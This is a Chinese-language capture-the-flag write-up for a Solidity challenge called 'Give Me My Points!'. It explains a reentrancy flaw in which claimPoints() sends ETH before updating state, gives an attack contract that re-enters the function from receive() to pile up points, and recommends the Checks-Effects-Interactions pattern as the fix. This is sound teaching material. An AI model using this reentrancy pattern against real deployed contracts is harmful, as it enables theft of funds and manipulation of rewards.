Appearance
S1C5: Give Me My Points!
1. 问题
合约有一个积分系统:claimPoints() 每次 +1 分,upgradeLevel() 消耗积分升级。需要满足特定条件(积分 × 等级)才能 mint flag。合约使用单个 points 变量。
2. 原因
claimPoints() 函数在更新 points 状态之前进行了外部调用(发送 ETH),这允许攻击者通过 receive() 回调重入 claimPoints(),在状态更新前重复获取积分。
3. 方案
部署攻击合约,利用重入攻击:
solidity
contract S1C5Solution {
function solve() external {
challenge.claimPoints(); // 触发重入循环
// points 已经累加到足够数量
challenge.upgradeLevel();
challenge.mintFlag();
}
receive() external payable {
if (points < TARGET) {
challenge.claimPoints(); // 重入
}
}
}
4. 遇到的陷阱
重入次数控制: 需要在 receive() 中精确控制重入次数,避免 gas 耗尽。
5. 陷阱的原因
每次重入调用都会消耗 gas。如果循环次数过多,可能超出 block gas limit。需要在循环中加入计数器并在达到目标后停止。
6. 如何解决
在攻击合约中使用计数器变量,在 receive() 中检查计数器并在达到目标次数后停止重入。
7. 技术要点
| 要点 | 说明 |
|---|---|
| 重入攻击 (Reentrancy) | 外部调用在状态更新之前执行,允许攻击者重复进入同一函数 |
| CEI 模式 | Checks-Effects-Interactions:应先更新状态,再进行外部调用 |
| gas 管理 | 重入循环需要控制次数以避免超出 gas limit |